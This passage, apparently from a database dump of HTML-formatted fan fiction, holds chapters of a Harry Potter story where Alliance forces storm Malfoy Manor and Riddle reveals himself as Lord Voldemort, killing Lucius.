I\'m\ncomplaining, but what was that for?&quot; asked Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione smiled at him.&nbsp; &quot;For loving me.&quot;&nbsp; Harry grinned and they kissed again.&nbsp; They continued kissing for a couple of\nminutes until Ron came and dragged Harry away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The attack started at dawn.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Catapults.&nbsp; Fire!&quot; commanded Remus.&nbsp; Five hundred catapults fired five hundred\nburning rocks at Malfoy Manor, knocking down key walls and setting the city on\nfire.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Reload...Fire!&quot;\ncommanded Remus.&nbsp; The catapults\nsucceeded in firing another volley before Death Eaters and their dark creatures\ncame streaming out of the city, waving their weapons and letting out a war cry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Charge!!!!&quot;\nyelled Remus.&nbsp; The Alliance soldiers let\nout their own war cry and charged at the city and the warriors that were\nemerging from it.&nbsp; Soon, foot soldiers\nwere battling giving their all out strength in trying to best whoever it was\ntheir opponent happened to be.&nbsp; Behind\nthem, Archers let their arrows rain on enemy soldiers.&nbsp; Cavalry charged through the battle field,\nattacking all opponents with swift blows.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The battle was fierce, for although Alliance\nsoldiers far outnumbered the Death Eaters, the Death Eaters had a powerful\narsenal of dark creatures on their side: demons, goblins, trolls, vampires\n(although these became less prominent as the sun climbed higher), veela,\nchimaeras, manticores, dementors, even dragons (fireballs and ridgebacks being\ntheir favorites).&nbsp; These creatures\nproved hard to kill and many an Alliance soldier fell while battling such\ncreatures.&nbsp; The Mage Knights used magic to\naid the Alliance soldiers the best they could while they themselves\nparticipated in the battle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Slowly but surely, the Alliance forces made\ntheir way to Malfoy Manor.&nbsp; Soon, the\nfighting was taking place not only in the streets of the city, but even within\nthe palace grounds.&nbsp; Many Death Eaters\nhad barricaded themselves within the buildings of the city, and fighting proved\nto be taxing to the Alliance soldiers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">During the confusion of battle, Hermione,\naccompanied by Harry, Ron, and surprisingly Draco, managed to sneak into the\npalace.&nbsp; This was part of the plan, as\nHermione, with the rings, was to face Lucius whom was believed to have the keys\nto the Death Eaters\' source.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus managed to bring down another opponent\nwhen he noticed a lone Death Eater attempting to run away.&nbsp; The first thing he noticed was the Death\nEater\'s gleaming silver right hand!&nbsp;\nRemus immediately made his way up to the Death Eater.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Why hello,\nPeter,&quot; said Remus with mock friendliness.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;R....Remus!&quot;\nstuttered Wormtail.&nbsp; His right hand conjured up a blade as Remus drew his\nsword.&nbsp; The two blades connected as\nRemus swung down his sword at Wormtail.&nbsp;\nRemus spun around and sent his sword at his opponent again who barely\ndeflected it with his own blade.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;How does it\nfeel, Wormtail?&quot; snarled Remus.&nbsp;\n&quot;How does it feel to be responsible for the fall of an entire\nkingdom?&nbsp; How does feel to betray your\nfriends?&nbsp; This is for Lily and\nJames!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Wormtail started panicking as Remus continued\nslashing at him.&nbsp; He barely managed to\nbloke each of Remus\'s attacks, but he was being worn out by the far more\npowerful werewolf.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Father,&quot;\nmuttered Draco as Hermione and the Mage Knights barged into the throne room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Lucius glanced at Draco and snarled &quot;You\nare no son of mine!&quot;&nbsp; Draco tensed\na little but kept his cool.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Why, so my\nlittle mudblood has decided to return,&quot; smirked Icicle.&nbsp; It was only she, Lucius, and Crouch in the\nthrone room.&nbsp; &quot;Going to use those\nrings against us now?&nbsp; Don\'t bother,\nI\'ve kept your cell at Azkaban clean for your return there.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione shivered at the mention of\nAzkaban.&nbsp; Harry placed a comforting hand\non her shoulder as he and Ron drew their swords.&nbsp; &quot;Let\'s finish this right here, right now!&quot; yelled Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Crouch glanced at Icicle.&nbsp; &quot;I\'ll take care of Weasley and the\ntraitor,&quot; he said, &quot;if you take care of Potter and the\nmudblood!&quot;&nbsp; He waved his hand at\nthe Mage Knights.&nbsp; Ron and Draco were\nflung out of the throne room, into the corridor outside.&nbsp; Crouch followed them and the doors swung\nshut.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Now,&quot;\nsaid Icicle.&nbsp; &quot;Prepare to meet your\ndooms!&quot;&nbsp; She raised her staff and\nyelled, <i>&quot;Avada Kedavra!&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry and Hermione dodged the curse, Harry to\nthe right and Hermione to the left.&nbsp;\nDeciding to kill Hermione first, Icicle shot another killing curse\ntowards her.&nbsp; Just as she dodged it\nhowever, Harry yelled, <i>&quot;Expelliarmus!&quot;</i> from behind.&nbsp; Icicle was caught off guard and barely\nmanaged to dodge the red light.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">She decided to turn her attention to Harry and\nshot the Avada Kedavra curse at him.&nbsp;\nHowever, this time Hermione shouted, <i>&quot;Stupefy!&quot;</i> just as\nHarry dodged the killing curse.&nbsp; Icicle\nwas just barely able to dodge the stunning curse.&nbsp; With horror, she realized that she had no chance of winning\nagainst Harry and Hermione this time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&quot;Stupefy!&quot;</i> shouted Harry and\nHermione at the same time.&nbsp; With a\nscream, Icicle slumped to the floor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;You fool!&quot;\nscreamed Lucius, &quot;How could you let yourself...&quot;&nbsp; Lucius suddenly stopped when he noticed that\nHarry was standing right in front of him with a huge grin on his face.&nbsp; Harry punched Lucius in the gut and the\nruler of the Kingdom of Slytherin slumped down to the floor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry dusted off his hands.&nbsp; &quot;Well Hermione, lets finish what we\ncame here to do in the first place.&quot;&nbsp;\nHermione grinned as she placed her hands over Lucius\'s form.&nbsp; She concentrated all of her magic into the\nrings, willing them to shut down the Death Eaters\' source.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Nothing happened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What\'s going on?!&quot; exclaimed\nHarry.&nbsp; &quot;Why isn\'t anything\nhappening?!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I...I don\'t\nknow!&quot; said Hermione.&nbsp; &quot;The\nrings were supposed to seal the source!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Suddenly, cold, high pitched laughter echoed through\nthe room.&nbsp; Harry and Hermione whipped\naround to see Tom Marvolo Riddle walking towards them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Isn\'t it\nobvious?&quot; laughed Riddle.&nbsp;\n&quot;Lucius isn\'t the source!&nbsp; I\ncan\'t believe that you thought a fool like Lucius could actually have the keys\nto the source!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What did you\nexpect us to believe, Riddle?&quot; snarled Harry.&nbsp; &quot;Lucius is the ruler of the Death Eaters, why wouldn\'t he be\nthe source?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Riddle grinned and his red eyes gleamed with\nmalice.&nbsp; &quot;Do you honestly believe\nthat?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Lucius managed to lift up his head.&nbsp; As soon as he saw Riddle, his face turned\npale and his eyes widened with horror.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;M...m...master!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 20, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer:&nbsp;\nI don\'t think those books have my name written on them.&nbsp; They have J.K. Rowling\'s name on them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 20: I am Lord Voldemort</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Metal sounds issued throughout the corridors as\nblade hit blade.&nbsp; Crouch was fighting\nmuch more ferociously than he was in Azkaban and both Ron and Draco had a hard\ntime keeping up against him.&nbsp; And it\ncertainly didn\'t help that they were arguing in between their attacks on\nCrouch.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Do you fools really believe that you can\ndefeat me?&nbsp; If so, you are nothing more\nthan a pair of incompetent idiots,&quot; laughed Crouch.&nbsp; He spun around, and used the momentum to\nslash his two swords at Ron and Draco.&nbsp;\nThe two Mage Knights managed to block the attacks but were nearly thrown\noff balance.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Who are you calling an idiot?&quot;\ndemanded Draco.&nbsp; He swung his sword down\nat Crouch who deflected the attack by crossing his two blades.&nbsp; &quot;Weasley may be one but I\'m not!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Oh, so I\'m an idiot, am I?&quot;&nbsp; shouted Ron.&nbsp; He flashed his sword at Crouch with a sideways thrust.&nbsp; Crouch leapt up and dodged Ron\'s\nattack.&nbsp; &quot;I thought that idiots\nonly had blonde hair!&quot;&nbsp; Crouch made\nhis way around Ron and sent him sprawling with a swift kick.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Maybe they have red hair!&quot; yelled\nDraco.&nbsp; He slashed at Crouch who\ndeflected the attacks.&nbsp; Crouch ducked\ndown and tripped Draco.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Yeah, maybe they do have red hair!&quot;\nyelled Ron.&nbsp; &quot;But how should I\nknow, I\'m just an idiot!!!&quot;&nbsp; Ron\nmade three continuous slashes at Crouch.&nbsp;\nAll three were deflected.&nbsp;\n&quot;At least I have a brain in my head!!!!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Oh, and to imagine that all I thought was\nin your head was air!!!!!&quot; shouted Draco.&nbsp;\nBoth he and Ron charged at Crouch.&nbsp;\nCrouch leapt out of the way, and Ron and Draco crashed into each other.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As Ron and Draco continued arguing, Crouch\ncouldn\'t help but think, \'This is easier than I thought!\'</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The stunned silence that had issued through the\nthrone room was suddenly disrupted by Harry:&nbsp;\n&quot;What do you mean by \'master\'?!&nbsp;\nLucius is supposed to be the master!!!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Riddle suddenly started laughing\nhysterically.&nbsp; &quot;So you really did\nbelieve that!&quot; he said.&nbsp;\n&quot;Seems like I was more successful than I thought!&quot;&nbsp; He smirked at Harry and continued.&nbsp; &quot;Well Potter, Lucius is just a puppet\nthat I set up.&nbsp; That\'s right, I!&nbsp; I am the true ruler of the Slytherins!&nbsp; I am the true object of worship of the Death\nEaters!&nbsp; I, Tom Marvolo Riddle!&nbsp; Or, as I prefer to be called...&quot;&nbsp; Riddle\'s red eyes opened wide and he had a\nmaniacal grin on his face.&nbsp;\n&quot;...Lord Voldemort!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What?!&quot;\nsaid both Harry and Hermione, their eyes wide with astonishment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Riddle, or rather, Voldemort made a small\nbow.&nbsp; &quot;I am Lord Voldemort!&quot;\nhe said.&nbsp; &quot;The Dark Lord.&nbsp; Master of the Death Eaters.&nbsp; Ruler of the Kingdom of Slytherin for the past\ntwenty years, and of the Kingdom of Gryffindor for the past sixteen.&nbsp; Soon to be ruler of all of Magiterran.&nbsp; Direct descendant of Salazar Slytherin.&nbsp; And...&quot;&nbsp; He grinned once more.&nbsp;\n&quot;...assassinator of King James and Queen Lily.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione and Harry turned pale.&nbsp; Harry suddenly started shivering and\nHermione barely managed a small &quot;W...what?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Quite simple\nreally,&quot; said Voldemort with a shrug.&nbsp;\n&quot;Wormtail betrayed James and Lily to me.&nbsp; James fought valiantly against me, it was a good fight by the way,\nbut I eventually overcame him with one good Avada Kedavra.&nbsp; Lily however, died trying to protect you,\nHarry.&quot;&nbsp; Harry shuddered at this\nrevelation.&nbsp; &quot;She sacrificed\nherself to save you.&nbsp; Effective, I must\nsay.&nbsp; For when I tried to kill you\nsixteen years ago, the curse rebounded on me!&quot;&nbsp; Voldemort grimaced as he recalled the past.&nbsp; &quot;I was stripped of my powers, and I\nfled barely alive.&nbsp; The only thing you\ngot was that scar on your forehead,&quot;&nbsp;\nRiddle eyed Harry\'s scar.&nbsp;\n&quot;And my abilities as a parselmouth.&quot;&nbsp; He walked over to the cowering Lucius.&nbsp; &quot;That\'s why I set up Lucius here as a puppet while I myself\nspent years regaining my powers.&nbsp;\nFoolish as he was, he had his uses.&nbsp;\nBut it looks like he has outlived\nthem.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Lucius started shaking uncontrollably.&nbsp; &quot;Forgive me, master,&quot; he\nbegged.&nbsp; &quot;Forgive me.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort started laughing.&nbsp; &quot;Lucius, my friend.&nbsp; You really think that I would be so\nmerciful?&nbsp; Now that my powers have\ncompletely returned?&nbsp; You had your uses,\nLucius, but not any more.&quot;&nbsp; He\npointed his sword at Lucius\'s head.&nbsp; <i>&quot;Avada\nKedavra!&quot;</i>&nbsp; Hermione screamed as\nLucius fell dead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort walked over to the unconscious\nIcicle.&nbsp; <i>&quot;Enervate.&quot;</i>&nbsp; Icicle opened her eyes and gave a start when\nshe saw Riddle standing over her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;You have\nfailed me, Icicle,&quot; said Voldemort with a serious face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;No, my\nLord.&nbsp; I would never...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;You have\nfailed me!&quot;&nbsp; Voldemort continued\nspeaking with mock pity.&nbsp; &quot;Why,\nIcicle?&nbsp; Why?&nbsp; You were my most devoted servant.&nbsp; You were my liaison between Lucius and myself.&nbsp; You were even spying on Lucius: keeping me\nalert in case he ever stepped out of line.&nbsp;\nSo why have you failed me, Icicle?&nbsp;\nWhy?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Icicle started shivering and beads of sweat\nfell down her face as her eyes widened in horror.&nbsp; &quot;No, my Lord.&nbsp; That\nis not how it is!&quot;</p>\n\n<p 